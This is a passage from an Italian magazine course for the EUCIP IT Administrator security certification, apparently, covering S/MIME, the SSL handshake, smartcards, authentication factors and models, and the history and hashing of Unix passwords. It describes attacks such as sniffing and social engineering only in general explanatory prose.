serie di coppie campo/valore che forniscono informazioni
essenziali per la trasmissione del messaggio, secondo la
struttura specificata nella RFC 822. Il corpo di solito non
strutturato a meno che il messaggio sia in formato MIME.
MIME definisce la struttura del corpo del messaggio in mo-
do da permettere dincludere testo con attributi, grafica,
audio e altri contenuti in modo standardizzato. MIME non
fornisce alcun servizio di sicurezza. Lo scopo di S/MIME
quindi definire tali servizi secondo la sintassi definita dal
formato PKCS #7 (citato in precedenza) per la firma e la ci-
fratura. S/MIME estende lo standard MIME e permette la ci-
fratura del messaggio e degli allegati. Gli algoritmi di cifra-
tura e hash possono essere specificati dallutente nelle im-
postazioni del programma di posta, come visto nel capito-
lo 5.2.2.1 (Principi di crittografia simmetrica). S/MIME ga-
rantisce la riservatezza mediante lalgoritmo di cifratura,
lintegrit mediante lalgoritmo di hash, lautenticazione
mediante luso di un certificato a chiave pubblica X.509 e il
non ripudio mediante la firma digitale.
S/MIME stato sviluppato in origine da RSA; in seguito
passato allIETF. La sua standardizzazione oggetto del-
lS/MIME Working Group dellIETF (vedi www.imc.org/ietf-
smime/index.html per lelenco dei documenti disponibili).
Ecco alcune caratteristiche di S/MIME.
1) Formato del messaggio: binario, basato su CMS (vedi
PKCS #7)
2) Formato del certificato: binario, basato su X.509
3) Algoritmo simmetrico: TripleDES (DES EDE3 CBC)
www.pcopen.it 43
5.2.7.7 Conoscere i
principi di
funzionamento di
S/MIME.
ITAdministrator - Sicurezza informatica Lezione 2
4) Algoritmo di firma: Diffie-Hellman (X9.42) con DSS
5) Algoritmo hash: SHA-1
Un modo per proteggere la posta elettronica con S/MI-
ME consiste nel procurarsi un certificato personale per e-
mail da Thawte (www.thawte.com/email/ ), che lo fornisce
gratuitamente, rinnovabile di anno in anno.
S/MIME supportato da vari client e-mail: Outlook e Ou-
tlook Express di Microsoft, Netscape Messenger 7.x, Mo-
zilla Mail, Mail in Mac OS X e altri, ma non da Eudora (per
il quale esistono plug-in in ambiente Windows).
Secure Sockets Layer - SSL
Secure Sockets Layer (SSL) un protocollo per la pro-
tezione di un canale di comunicazione attraverso una rete
e funziona allo strato di trasporto, tra i protocolli di tra-
sporto e di applicazione. Come altri protocolli di sicurezza
di rete, SSL utilizza la crittografia simmetrica e asimmetri-
ca e le funzioni di hash per fornire lautenticazione del ser-
ver (e in opzione anche del client), la cifratura dei messag-
gi e lintegrit dei dati. Quando un client (tipicamente un
browser) accede a un sito web, possibile che trovi una
parte delle pagine protette, come accade nei siti che sup-
portano transazioni bancarie o commerciali e la raccolta di
informazioni personali tramite moduli da compilare (form).
Quando il client passa da una pagina pubblica a una pa-
gina sicura, il web server invoca SSL per proteggere la co-
municazione (lutente se ne accorge perch lURL della pa-
gina preceduto da https - cio HTTP over SSL - anzich
http) inoltre compare solitamente unicona nella finestra
del browser che segnala la presenza di una connessione
protetta. Nel caso di Internet Explorer in Windows, ad
esempio, licona ha la forma di un piccolo lucchetto dora-
to che compare in basso a destra. Il server risponde al
client indicando che devessere stabilita una sessione si-
cura e il client invia i propri parametri di sicurezza. Nella
prima fase, opera lHandshake Protocol, il primo dei tre
componenti di SSL. In tale fase client e server negoziano i
parametri crittografici da usare: versione del protocollo,
identificativo di sessione, selezione degli algoritmi critto-
grafici e del metodo di compressione, generazione di nu-
meri casuali iniziali, autenticazione del server (solitamen-
te con un certificato), eventuale autenticazione del client
(rara bench possibile), accordo finale sulla suite di cifra-
ri da usare.
Nella fase di handshake, il client si connette al server, in-
via una serie di dati (versione supportata, un numero ca-
suale che sar usato per lo scambio delle chiavi, un ID di
sessione, la lista degli algoritmi supportati e il metodo di
compressione) e attende risposta.
Il server risponde con un messaggio analogo, con nu-
mero di versione, altri dati casuali, lo stesso ID di sessione
e gli algoritmi scelti dal server per lo scambio delle chiavi
(RSA, Diffie-Hellmann e altri), la cifratura simmetrica, lha-
sh e la compressione.
Il server dimostra la propria identit inviando al client il
suo certificato digitale; tale scambio pu includere, in op-
zione, lintera catena di certificati fino al certificato root (ra-
dice) della Certification Authority (CA). Se richiesto dal me-
todo di scambio chiavi adottato, il server invia al client un
messaggio di scambio chiavi contenente materiale per la
generazione della chiave simmetrica.
Il server pu quindi iniziare a richiedere lautenticazio-
ne del client con un certificato, ma nella maggior parte dei
casi ci non accade.
Il client verifica il certificato o i certificati del server in
base alle date di validit e controlla la presenza della firma
di una CA fidata.
Il client invia un messaggio di scambio chiavi il cui con-
tenuto dipende dallalgoritmo usato.
Il server verifica il certificato del client, se presente.
Il client e il server generano la chiave di sessione utiliz-
zando i dati che si sono scambiati nei messaggi preceden-
ti.
Il secondo componente di SSL il Record Protocol, usa-
to per lo scambio di dati tra le applicazioni dopo aver crea-
to il canale sicuro di comunicazione. I messaggi sono fram-
mentati in blocchi facili da gestire e opzionalmente vengo-
no compressi; si applica un MAC (codice di autenticazione
del messaggio) e il risultato viene cifrato e trasmesso. Il ri-
cevente decifra i dati, verifica il MAC, decomprime e rias-
sembla il messaggio e fornisce il risultato al protocollo ap-
plicativo.
www.pcopen.it 44
5.2.7.8 Conoscere i
principi di
funzionamento di
SSL
Lezione 2 IT Administrator - Sicurezza informatica
Il terzo componente, lAlert Protocol, usato per indi-
care il verificarsi di un errore o la terminazione di una ses-
sione tra due host.
Luso di SSL richiede un server con capacit SSL; i brow-
ser includono generalmente il supporto SSL 2.0 e 3.0. In pre-
cedenza abbiamo messo a confronto la protezione a livel-
lo di collegamento con la protezione (superiore) a livello di
applicazione. SSL, collocato allo strato di trasporto (dove
opera il protocollo di rete TCP, per intenderci), fornisce la
sicurezza della connessione, ma non la sicurezza dei dati
una volta ricevuti e decifrati. Lutente di una connessione
SSL pu contare su una comunicazione protetta, ma deve
avere fiducia nellistituzione a cui trasmette i dati per la si-
curezza con cui essi saranno trattati e conservati.
Una variante rispetto allSSL versione 3 di uso corrente
il protocollo TLS (Transport Layer Security) definito dal-
lIETF nella RFC 2246, simile a SSL, ma con differenze so-
prattutto negli algoritmi crittografici utilizzati. TLS gi im-
plementato e si pu prevedere una sua graduale adozione.
Uso delle smartcard
Le smartcard, piccole schede di plastica che includono
capacit logiche e memoria, sono utilizzate per memoriz-
zare in modo sicuro le chiavi private usate per la firma di-
gitale e per la decifratura. In tal modo si evita di conser-
varle o dimenticarle sul computer, ossia in un ambiente po-
co sicuro.
In sintesi, una smartcard oggi costituita da un micro-
processore dotato di una certa quantit di RAM e da una
memoria EEPROM (Electrically Erasable Programmable
Read-Only Memory) che alloggia il software di gestione e le
chiavi e il cui contenuto non si cancella col tempo, ma pu
essere modificato mediante apposite apparecchiature. La
smartcard dialoga con il mondo esterno attraverso unin-
terfaccia seriale (secondo la disposizione a otto contatti
dello standard ISO7816 Part 1) o senza contatti, mediante
uninterfaccia radio.
Il programma residente sulla scheda riconosce i co-
mandi che arrivano dallesterno e risponde di conseguen-
za. Fondamentalmente, i comandi inviati a una smartcard
sono del tipo seguente:
1) richiesta di generazione di chiavi
2) richiesta della chiave pubblica
3) richiesta di cifrare un blocco di dati con la chiave privata
4) richiesta di memorizzazione del certificato della CA che
ha emesso il certificato dellutente in base alla chiave
pubblica estratta dalla smartcard.
Una trattazione dettagliata pu essere trovata su Smart
Card Handbook, Secon Edition di Rankl ed Effing.
Le smartcard possono generare, su richiesta, coppie di
chiavi (pubblica e privata); non c modo di estrarre la
chiave privata dalla scheda, mentre la chiave pubblica di-
sponibile per luso nei sistemi PKI. La custodia sicura del-
la chiave privata permette di usare le smartcard per firme
digitali con validit legale e garanzia di non ripudio.
A causa della capacit limitata del processore e della
memoria di una smartcard, le operazioni di generazione di
chiavi e di cifratura sono piuttosto lente, ma ci non gra-
ve se si considera che le chiavi sono generate non pi di
una volta lanno e che le operazioni avvengono su hash di
lunghezza ridotta.
Laccesso alle smartcard (come ad altri dispositivi crit-
tografici) avviene mediante unAPI (interfaccia program-
matica) definita dallo standard PKCS #11 (Cryptographic
Token Interface Standard, detto Cryptoki). Linterfaccia
standard permette di sviluppare software indipendente
dalla smartcard utilizzata.
Un esempio di smartcard ad uso dei cittadini la carta
dei servizi della Regione Lombardia (vedi www.crs.lom-
bardia.it/).
www.pcopen.it 45
5.2.7.9 Essere
consapevoli delluso
delle smartcard
PC Open www.pcopen.it 46
ITAdministrator - Sicurezza informatica Lezione 3
I
n termini molto generali, lautenticazione pu essere de-
finita come il processo mediante il quale si verifica un de-
terminato parametro. Il parametro pu riguardare gli ar-
gomenti pi svariati, come lidentit di un processo o di un
utente o di un computer, oppure lidentit e lintegrit di un
pacchetto in rete.
Una definizione pi focalizzata vede lautenticazione co-
me il processo tramite il quale viene stabilita lidentit di
unentit. Nel campo della sicurezza informatica, lentit
tipicamente un computer, un processo, un utente o un mes-
saggio.
La legge italiana considera autenticata lidentit di una
persona solo se c un pubblico ufficiale che lo attesti e ri-
corre a complesse perifrasi per definire la conferma di iden-
tit ottenuta mediante mezzi informatici. Per semplicit,
continueremo a usare il termine autenticazione come equi-
valente dellinglese authentication di uso generale, consa-
pevoli del fatto che, quando si passa dal contesto tecnico
a quello giuridico (per esempio riguardo la validit delle fir-
me digitali), bisogna fare riferimento al linguaggio e alle di-
sposizioni dei recenti articoli di legge. Sebbene la legge pos-
sa risultare complessa, farraginosa e criticabile dagli am-
bienti informatici, resta il fatto che nessun computer,
software o utente pu confermare con certezza lidentit di
un utente; si possono solo eseguire test che, quando supe-
rati, forniscono una garanzia sufficiente sullidentit del-
linterlocutore. Il problema sta nellaggettivo sufficiente,
che muta significato nel tempo con levolversi delle tecno-
logie di attacco e di difesa e che dipende da ipotesi, spes-
so disattese, sul comportamento degli utenti e sulla validit
degli strumenti tecnici. Di fronte alle possibilit di falsifi-
cazione e soprattutto alla possibile trascuratezza o incom-
petenza degli utenti, i test di autenticazione assumono un
valore relativo.
Allatto dellautenticazione, lentit che chiede di essere
autenticata presenta alcune credenziali, come una pas-
sword o un certificato digitale, come prova della propria
Prosegue il primo corso di taglio professionale destinato al
conseguimento della certificazione ufficiale, EUCIP IT
Administrator Sicurezza
Informatica, valida in tutta Europa. In questo numero ci
occupiamo di tutti i sistemi di riconoscimento e autenticazione,
dalla password, alle smartcard con un esame approfondito anche
dellautenticazione via rete.
I contenuti sono composti da tre
elementi: un articolo sulla
rivista, un articolo, molto pi
esteso in formato PDF e un corso
multimediale completo
su CD e DVD di Giorgio Gobbi e Marco Mussini
Materiale didattico
validato da AICA
Certificazione EUCIP
IT Administrator
Modulo 5 -
IT Security
Sicurezza informatica
"AICA Licenziataria
esclusiva in Italia del
programma EUCIP
(European Certification
of Informatic
Professionals), attesta
che il materiale didattico
validato copre
puntualmente e
integralmente gli
argomenti previsti nel
Syllabus IT Administrator
e necessari per il
conseguimento della
certificazione IT
Administrator IT
Security. Di
conseguenza AICA
autorizza sul presente
materiale didattico l'uso
del marchio EUCIP,
registrato da EUCIP Ltd
e protetto dalle leggi
vigenti"
Obiettivo del corso IT Administrator
Sicurezza Informatica
Fornire al lettore familiarit con i vari modi di
proteggere i dati sia su un singolo PC sia in una LAN
connessa a Internet. In particolare, metterlo nelle
condizioni di proteggere i dati aziendali contro
perdite, attacchi virali e intrusioni. Inoltre, metterlo
nelle condizioni di conoscere e utilizzare le utility e i
programmi pi comuni destinati a tali scopi.
Riferimento Syllabus
2.0 (curriculum
ufficiale AICA)
5.3.1. Concetti
generali
dellautenticazione.
I contenuti delle 8 lezioni
Lezione 1: Informazioni generali
Lezione 2: parte 1Crittografia -
fondamenti e algoritmi
Lezione 2: parte 2Crittografia -
applicazioni
Lezione 3: Autenticazione
e controllo degli accessi
Lezione 4: Disponibilit
Lezione 5: Codice maligno
Lezione 6: Infrastruttura a chiave pubblica
Lezione 7: Sicurezza della rete
Lezione 8: Aspetti sociali, etici e legali della
sicurezza informatica
In collaborazione
con:
Autenticazione e controllo degli accessi
Prevenire i furti
e gli accessi
non autorizzati
PC Open www.pcopen.it 47
Lezione 3 IT Administrator - Sicurezza informatica
identit. Se le credenziali sono valide e sufficienti, lentit
ritenuta autentica. Lautenticazione verifica solo che unen-
tit sia quella che dichiara di essere, senza entrare nel me-
rito dellaccesso al sistema.
Una volta che un utente (in senso lato) stato autenti-
cato, il passo successivo assicurare che possa accedere
solo alle risorse per cui autorizzato. Ci avviene imple-
mentando controlli di accesso, permessi, privilegi e altri
elementi, secondo il sistema in questione. Lautorizzazione
viene talvolta confusa con lautenticazione nei documenti
tecnici e normativi, ma un concetto ben distinto: auto-
rizzazione il diritto accordato a un individuo (oppure en-
tit hardware/software) di accedere a un sistema e alle sue
risorse secondo un profilo di permessi ben definito (defi-
nito ad esempio da un system administrator o stabilito au-
tomaticamente dalla categoria di autorizzazione delluten-
te).
Unanalogia per un processo di autenticazione informa-
tico il controllo del passaporto a una frontiera. Il viaggia-
tore fornisce alla guardia di frontiera il proprio passaporto
con la foto, le generalit e informazioni sullente che ha ri-
lasciato il documento. La guardia osserva se il passaporto
appare autentico, se la foto somigliante e magari se ha un
numero identificativo valido, verificato tramite accesso a
un database. Latto di convalidare il passaporto e di valu-
tare la somiglianza tra il viaggiatore e la foto una forma di
autenticazione.
Il successo dellautenticazione non implica che al viag-
giatore sia concesso di varcare la frontiera, come pure nel
caso dellaccesso a un sistema. La persona pu essere pri-
va di visto o di qualche altro requisito o risultare indesi-
derata o pericolosa per i suoi trascorsi, attivit o connes-
sioni. Allo stesso modo unentit informatica potrebbe es-
sere autenticata e, una volta riconosciuta, potrebbe risul-
tare priva di autorizzazioni.
Su una rete (e specialmente Internet), lautenticazione
pi complessa sia perch eseguita da macchine sia perch
le entit autenticatrici della rete di solito non hanno ac-
cesso fisico alle entit da autenticare. Programmi o utenti
ostili possono tentare di rubare informazioni, crearne di fal-
se, interrompere o alterare un servizio fingendosi entit va-
lide. Il ruolo dei processi di autenticazione quello di di-
stinguere le entit valide da quelle non valide ed un com-
pito essenziale per la sicurezza di una rete e dei sistemi che
vi sono connessi. Se un individuo riesce a impersonare un
utente valido, non ci sono limiti al danno potenziale per la
riservatezza e integrit delle informazioni, oltre ai danni
economici che ne possono derivare. Vedremo che in qual-
che caso pu essere persino compromessa la futura capa-
cit di autenticazione degli utenti.
Oggi esiste una vasta schiera di metodi di autenticazio-
ne, che comprende luso di password, di certificati digita-
li, di dispositivi biometrici e di oggetti fisici come token
(gettoni, ovvero schede o chiavi di vario tipo) e Smart
Card contenenti ad esempio un certificato. Nessuno di es-
si perfetto. Le password, da tempo considerate insicure,
sono destinate a essere rimpiazzate da metodi pi efficaci.
Persino metodi apprezzati o promettenti come le Smart
Card e i dispositivi biometrici pongono seri problemi: le
Smart Card per le difficolt di adozione generalizzata data
la variet di soluzioni sul mercato (senza contare i costi),
il secondo perch relativamente facile procurarsi i dati
biometrici di un individuo (a sua insaputa) compromet-
tendone lautenticazione per tutta la vita.
Oltre agli schemi consolidati di autenticazione che ve-
dremo nei prossimi capitoli, inevitabile che ne nascano di
nuovi, favoriti anche dallevoluzione delle tecnologie mo-
bili. Oggi, ad esempio, esistono PDA dotati di funzioni crit-
tografiche e di capacit biometriche, come il riconosci-
mento dellimpronta digitale, della firma e della voce, che
li rendono idonei a impieghi di autenticazione riducendo i
rischi di furto di identit. Infatti, nel caso di furto, il PDA,
protetto da crittografia forte, pu resistere per un buon
tempo.
Modelli di architettura
I modelli a cui si fa riferimento per progettare un siste-
ma di autenticazione dipendono dal tipo di utenti, dalla di-
stribuzione fisica delle risorse, dal valore delle informazio-
ni da proteggere e da altri fattori. In sintesi, i modelli fon-
damentali sono quattro.
1) Autenticazione locale: quella utilizzata su un computer
desktop o portatile. Lintero sistema, inclusi i meccani-
smi di autenticazione e controllo degli accessi, risiede al-
linterno di un singolo perimetro di sicurezza. Lutente
definisce e tiene aggiornate le informazioni di autentica-
zione allinterno di tale perimetro.
2) Autenticazione diretta: stata usata in passato dai ser-
ver delle reti locali e dai sistemi di timesharing (utilizzo
contemporaneo di un computer da parte di pi utenti
che si ripartiscono il tempo di elaborazione dello stes-
so). Il sistema usato da molti utenti, anche remoti. Au-
tenticazione e controllo degli accessi risiedono in un
singolo perimetro fisico. E un modello diretto perch
centralizzato: un sistema prende tutte le decisioni e
contiene il database con le informazioni sugli utenti.
Ogni sistema di questo genere amministrato e aggior-
nato indipendentemente, quindi il modello diretto si pre-
sta per un singolo sistema o per un gruppo di sistemi
con popolazioni di utenti indipendenti. La vulnerabilit
a intercettazioni e replay di messaggi impone luso di
crittografia, almeno per le password.
3) Autenticazione indiretta: usata nei moderni sistemi di-
stribuiti per consentire a una popolazione di utenti di ac-
cedere a pi sistemi e punti di servizio in rete. Quando
un sistema riceve una richiesta di accesso, la inoltra a un
server di autenticazione centralizzato che esamina le
credenziali fornite e conferma lidentit dellutente. A ta-
le scopo vengono usati protocolli come RADIUS e Ker-
beros o i domini dei server Windows. Il server di auten-
ticazione gestisce un unico database, facilmente ammi-
nistrabile, con le informazioni sugli utenti, che possono
accedere in modo uniforme a tutti i punti di servizio
ospitati dai sistemi sulla rete.
4) Autenticazione off-line: quella utilizzata nei sistemi che
sfruttano linfrastruttura a chiave pubblica (PKI). In
questa architettura, diversi componenti autonomi pren-
dono decisioni sullautenticazione degli utenti anche se
Autenticazione locale
avviene direttamente sul
computer usato
dallutente e si svolge
entro un perimetro di
sicurezza circoscritto.
PC Open www.pcopen.it 48
ITAdministrator - Sicurezza informatica Lezione 3
in tale momento non possono contattarsi lun laltro. Le
parti interessate accettano il rischio che talvolta le de-
cisioni siano basate su informazioni di autenticazione
non aggiornate, che possono determinare risultati scor-
retti. Il modello indiretto una combinazione dei tre pre-
cedenti: lautenticazione e il controllo degli accessi ri-
siedono sullo stesso dispositivo, mentre il titolare della
sicurezza (lautorit di certificazione che gestisce le chia-
vi pubbliche) mantiene un database centralizzato degli
utenti autorizzati. Laspetto peculiare che non occorre
che la CA sia online, e questultima pu anche distribui-
re le chiavi pubbliche attraverso mezzi tradizionali e
proteggere in tal modo i propri sistemi da intrusioni. Per
esempio, il protocollo SSL incorporato in un browser si
procura il certificato con la chiave pubblica dal server
da autenticare (per esempio il sito di una banca), lo au-
tentica con unaltra chiave pubblica prestabilita (nota al
browser) e quindi utilizza la chiave pubblica del server
nella fase di scambio dati per la costruzione di una chia-
ve di sessione con cui cifrare le comunicazioni.
I diversi schemi di autenticazione
Indipendentemente dai metodi usati, i sistemi di auten-
ticazione hanno generalmente alcuni elementi comuni:
una persona o entit da autenticare, una o pi caratteristi-
che distintive su cui si basa lautenticazione, un proprieta-
rio o amministratore del sistema di sicurezza e un mecca-
nismo di autenticazione che verifica le caratteristiche di-
stintive. Il meccanismo di controllo dellaccesso, spesso
considerato parte integrante del sistema di autenticazione,
in realt una funzione successiva, invocata se lautenti-
cazione ha avuto successo.
Per esempio, nel caso del Bancomat, lelemento da au-
tenticare una persona, le caratteristiche distintive sono
due (la scheda e il PIN), il proprietario la banca e il mec-
canismo di autenticazione il software di validazione del-
le informazioni fornite dalla scheda (registrate su una ban-
da magnetica o nella memoria di un chip) e del PIN digita-
to dallutente. Se lautenticazione ha successo e lutente ha
il credito necessario, il meccanismo di controllo dellac-
cesso autorizza il prelievo della somma richiesta.
Un altro esempio quello di un sito di e-commerce; len-
tit da autenticare (verso il client che si collega al sito) il
proprietario del sito, la caratteristica distintiva una chia-
ve pubblica in un certificato digitale, lamministratore e ga-
rante della sicurezza lautorit certificatrice che ha emes-
so il certificato, il meccanismo di autenticazione il softwa-
re di convalida del certificato contenuto nel browser del-
lutente, che determina se la pagina web sicura. Tale sche-
ma riscontrabile nel protocollo SSL (Secure Sockets
Layer) presentato nel capitolo 5.2.7.8 della sezione Critto-
grafia.
Nella letteratura frequente trovare i fattori di autenti-
cazione di un utente suddivisi in tre categorie:
- qualcosa che sai (come password, passphrase, PIN o com-
binazione)
- qualcosa che hai (come token, Smart Card o dati incor-
porati in un file o dispositivo)
- qualcosa che sei (caratteristiche biometriche come im-
pronta digitale, retina, iride, volto, voce).
La paternit di questo schema attribuita a Carlton e
agli altri autori dellarticolo del 1988 Alternate Authenti-
cation Mechanisms. Lappeal mnemonico di qualcosa che
sai, qualcosa che hai, qualcosa che sei ha fatto in modo
che questa sorta di filastrocca mettesse stabili radici. Fac-
ciamo notare in ogni caso la forzatura in cui sincorre se si
prende alla lettera la terza categoria, visto che tra un indi-
viduo e una caratteristica del proprio corpo corre una di-
stanza pressoch incolmabile. Trascurare tale aspetto por-
terebbe a situazioni paradossali, dove si rischierebbe di au-
tenticare corpi (non necessariamente vivi) o loro parti an-
zich individui. Sebbene la terza categoria rientri in realt
nella seconda (un individuo possiede un corpo che ha ca-
ratteristiche biometriche), per non allontanarci troppo dal-
la convenzione ci limiteremo a correggere la formulazione
in qualcosa che sei.
Qualcosa che sai
uno dei metodi di autenticazione pi antichi, utilizza-
to per esempio in passato per bloccare gli stranieri che non
conoscevano la parola dordine o la pronunciavano male.
Oltre a parole (password) e frasi (passphrase), gli elemen-
ti di autenticazione di questa categoria includono i PIN, le
combinazioni da digitare su una tastiera numerica (lequi-
valente della combinazione numerica di un lucchetto o cas-
saforte) e le informazioni note soltanto allindividuo, da
usare in risposta a specifiche domande personali. Lauten-
ticazione tramite un dato segreto in possesso dellutente
vulnerabile sia per motivi tecnici sia per i comportamenti
insicuri degli utenti; sebbene ancora ampiamente usata,
tende a essere sostituita da metodi pi sicuri e da combi-
nazioni di pi fattori (come scheda pi PIN). Il grado di si-
curezza peggiora rapidamente quando un utente, per ri-
cordare tutte le password di accesso a banche, siti e servi-
zi, le scrive su carta o le conserva in un file non cifrato.
Qualcosa che hai
Anche gli oggetti sono stati usati nel passato a scopo di
autenticazione; sigilli di ceralacca, chiavi e documenti fir-
mati erano alcuni degli strumenti utilizzati per farsi rico-
noscere o per avere accesso a luoghi e risorse. Il termine
chiave in informatica deriva in effetti dalle chiavi di ca-
sa, anche se lanalogia si ferma qui perch, a differenza di
una chiave informatica, la chiave di casa non identifica il
possessore come il padrone di casa o come qualcuno che
abbia diritto a entrarvi. Oggi loggetto in possesso dellu-
tente e usato come caratteristica distintiva per lautenti-
cazione pu essere semplicemente un file di dati. Se lu-
tente una persona (piuttosto che un processo o un di-
spositivo hardware) il file generalmente incorporato in un
dispositivo che lutente pu portare con s, come una sche-
da con striscia magnetica, una Smart Card o un calcolato-
re di password. Tali oggetti vengono anche chiamati token.
Lautenticazione tramite token la pi difficile da viola-
re, dato che si basa su un oggetto fisico che lutente deve
avere con s al momento dellautenticazione e dellacces-
so al sistema. A differenza delle password e strumenti si-
mili, nel caso di un token lutente sa se gli stato rubato ed
difficile che possa condividerlo con altri riuscendo an-
cora a collegarsi a un sistema. Un token costa di pi, pu
essere smarrito e si pu guastare, ma soddisfa le esigenze
di sicurezza di un ampio spettro di applicazioni.
Qualcosa che sei
Tale categoria di fattori di autenticazione si basa su ca-
ratteristiche del corpo umano e, secondariamente, anche
su comportamenti unici della persona. Prima dei computer,
5.3.1.1 Conoscere
differenti schemi di
autenticazione.
La lettura della retina o
delliride costituisce uno
dei tipi di autenticazione
biometrica.
PC Open www.pcopen.it 49
Lezione 3 IT Administrator - Sicurezza informatica
queste caratteristiche includevano un ritratto, la firma, una
descrizione scritta e le impronte digitali. Oggi i computer
permettono di confrontare rapidamente un attributo fisico
con una registrazione archiviata in un database. Le tecni-
che comprendono le impronte digitali, la forma e limpron-
ta delle mani, le caratteristiche dellocchio (iride e retina),
la voce, la firma autografa e altre possibilit. Nel comples-
so, tali caratteristiche sono chiamate biometriche.
Nonostante i vantaggi dellautenticazione biometrica,
che non richiede dati segreti o schede da portare con s, i
punti deboli possono superare i benefici. Oltre ai costi mag-
giori per lacquisto, linstallazione e la gestione dellattrez-
zatura, i dati biometrici possono essere intercettati, liden-
tificazione non certa (c una percentuale di falsi postivi
e di falsi negativi), le caratteristiche biometriche possono
variare nel tempo e soprattutto, facile procurarsi i dati
biometrici di un individuo e comprometterne lautentica-
zione per tutta la vita.
facile capire che non esiste, almeno per ora, un meto-
do di autenticazione perfetto. La scelta dipende dai rischi
specifici per le diverse circostanze, dai costi e da altri fat-
tori, come la disponibilit e lutilizzabilit degli strumenti,
ladozione di standard e altro ancora. Visto che tutti i me-
todi presentano inconvenienti e spesso non offrono il li-
vello di protezione richiesto, sempre pi comune utiliz-
zare meccanismi di protezione multipli, che incorporano
due o tre dei fattori citati. Tali sistemi offrono la cosiddet-
ta autenticazione forte, perch, usando pi fattori, ciascu-
no di essi contribuisce a neutralizzare i punti deboli degli
altri.
Tuttavia quando si passa dallautenticazione di un uten-
te presso un sistema locale allautenticazione in rete, le co-
se si complicano. Le tre categorie di fattori di autentica-
zione si basano su caratteristiche distintive della persona
o entit, ma quando tali caratteristiche si traducono in se-
quenze di bit che attraversano la rete, nessun meccanismo
pu fornire la certezza assoluta che una password o una
lettura biometrica siano raccolte dalla persona anzich re-
gistrate e ritrasmesse da altri. Perci, insieme ai fattori di
autenticazione forniti dagli utenti, sono necessarie tecni-
che che identifichino univocamente i messaggi scambiati e
impediscano agli estranei dinserirsi nel dialogo.
Password
Gestione delle password
Luso delle password uno dei pi antichi sistemi di au-
tenticazione, che gi ritroviamo nellApriti sesamo di Al
Bab e i 40 ladroni. Qualche decennio fa, quando la mul-
tiutenza consisteva di terminali connessi a un sistema cen-
trale di timesharing e gli utenti cominciavano a essere ubi-
cati allesterno del centro di calcolo (ben protetto), le pas-
sword erano lo strumento di autenticazione. Il terminale, di
tipo telescrivente con stampa sul rullo di carta, dopo lin-
put della password (anchessa stampata), sovrastampava
caratteri casuali per impedirne la lettura a estranei.
Negli anni successivi abbiamo visto i sistemi operativi
conservare le password in chiaro in un file. Nella corsa tra
attacchi e difese, il file delle password in chiaro ebbe bre-
ve vita, vista la facilit di impossessarsene sia dal sistema
online sia dai nastri di backup periodico dello stesso.
A partire dal 1967 cominci a essere introdotto lhashing
delle password, che viene tuttora utilizzato. Il sistema con-
serva un file con i nomi degli utenti e lhash delle relative
password. Allatto dellautenticazione, lhash calcolato in
base alla password digitata viene confrontato con quello re-
gistrato nel file; se coincidono, lutente autenticato. Dato
che dallhash impossibile ricostruire la password, il si-
stema relativamente sicuro, a meno di attacchi di forza
bruta o basati su dizionari delle parole pi usate.
Lhash delle password venne aggirato dai programmi di
keystroke sniffing, ossia di registrazione dellinput di ta-
stiera (i tasti battuti dallutente). Si tratta di un attacco tut-
tora possibile e praticato con una variet di mezzi hardwa-
re e software. Un modo per neutralizzare il keystroke snif-
fing stato la protezione delle aree di memoria, affinch un
programma non possa curiosare nella memoria di un altro
programma. E una protezione parziale che comunque
non sconfigge i dispositivi hardware di registrazione collo-
cati tra la tastiera e il connettore sul computer.
Levoluzione degli attacchi ha portato al network snif-
fing, vale a dire allanalisi del traffico di rete per carpire pas-
sword, chiavi di cifratura e altre informazioni. A questo si
risposto con le password usate una volta sola, ossia ge-
nerate nel momento stesso in cui devono essere utilizzate
e quindi eliminate, e con la periodica variazione delle chia-
vi fisse, in modo da limitare le possibilit che vengano sco-
perte. Vi presentiamo un quadro fin troppo semplificato e
approssimativo, ma rappresenta la dinamica con cui evol-
ve la competizione tra attacchi e difese.
Oltre a carpire password e altre informazioni per via tec-
nologica, un metodo usato per conquistare laccesso a un
sistema il social engineering: lattaccante si fa aiutare da
un dipendente, inconsapevole, convincendolo a rivelare le
informazioni (come nome utente e password) necessarie a
entrare nel sistema. Uno dei modi pi usati consiste nel pre-
sentarsi come un tecnico di assistenza, che per esempio ha
urgente bisogno del nome utente e della password del mal-
capitato interlocutore allo scopo dichiarato di evitargli la
perdita dei dati. Lattaccante pu anche ordinare, con una
falsa e-mail apparentemente inviata dal system admini-
strator, di cambiare provvisoriamente la password, come
specificato, per lavori di manutenzione.
Un esempio di procedura di login tramite password ap-
pare in Unix, che ha iniziato a utilizzare lhashing delle pas-
sword intorno al 1973 e si evoluto utilizzando algoritmi di
hashing pi sicuri. Il file delle password nel classico Unix
Versione 7 comprendeva questi campi: nome utente, hash
della password preceduto da un valore casuale di 12 bit
detto salt (sale), User ID numerico, Group ID numerico,
un campo di uso misto detto GCOS field (dal nome di un si-
stema operativo utilizzato a quel tempo dai Bell labs) e il
nome dello shell preferito dallutente (per esempio
/bin/csh).
Quando un utente digita un nome utente, il programma
di login cerca il nome nel file delle password (/etc/passwd)
e, se lo trova, estrae lhash della password; il programma
chiede la password allutente e ne calcola lhash; se i due
codici di hash coincidono, lutente autenticato e si colle-
ga al sistema.
La seconda versione di hashing delle password di Unix
utilizza una variante di DES, il cifrario simmetrico presen-
tato nella sezione sulla crittografia. Lhashing realizzato
cifrando una stringa di zeri, usando come chiave di cifra-
Luso delle password
uno dei pi antichi
sistemi di autenticazione.
5.3.2. Password
5.3.2.1 Conoscere i
principi di creazione
e amministrazione
delle password.
PC Open www.pcopen.it 50
ITAdministrator - Sicurezza informatica Lezione 3
tura la password e usando il salt di 12 bit al fine di permu-
tare una tabella interna dellalgoritmo DES. In tal modo la ci-
fratura risulta incompatibile con lo standard DES, compli-
cando eventuali tentativi di attacco.
Policy aziendali, raccomandazioni ai clienti e articoli sui
media riportano spesso i criteri con cui dovrebbero esse-
re scelte le password, almeno nei casi in cui esse vengano
stabilite dagli utenti. In altri casi le password sono genera-
te in modo casuale e risultano abbastanza complesse da es-
sere difficili da indovinare. Alcuni criteri di base per sce-
gliere una password sono i seguenti:
1) lunghezza: pi la password lunga, pi difficile da sco-
prire: la lunghezza minima di sei caratteri o pi, se-
condo le dimensioni del set di caratteri;
2) caratteri: idealmente una password dovrebbe contenere
minuscole, maiuscole, cifre e altri segni, in modo da au-
mentare il numero di combinazioni (a parit di lunghez-
za) e di eludere gli attacchi tramite dizionario;
3) contenuto: dovrebbero essere esclusi nomi di persone,
luoghi, aziende, animali, prodotti, targhe automobilisti-
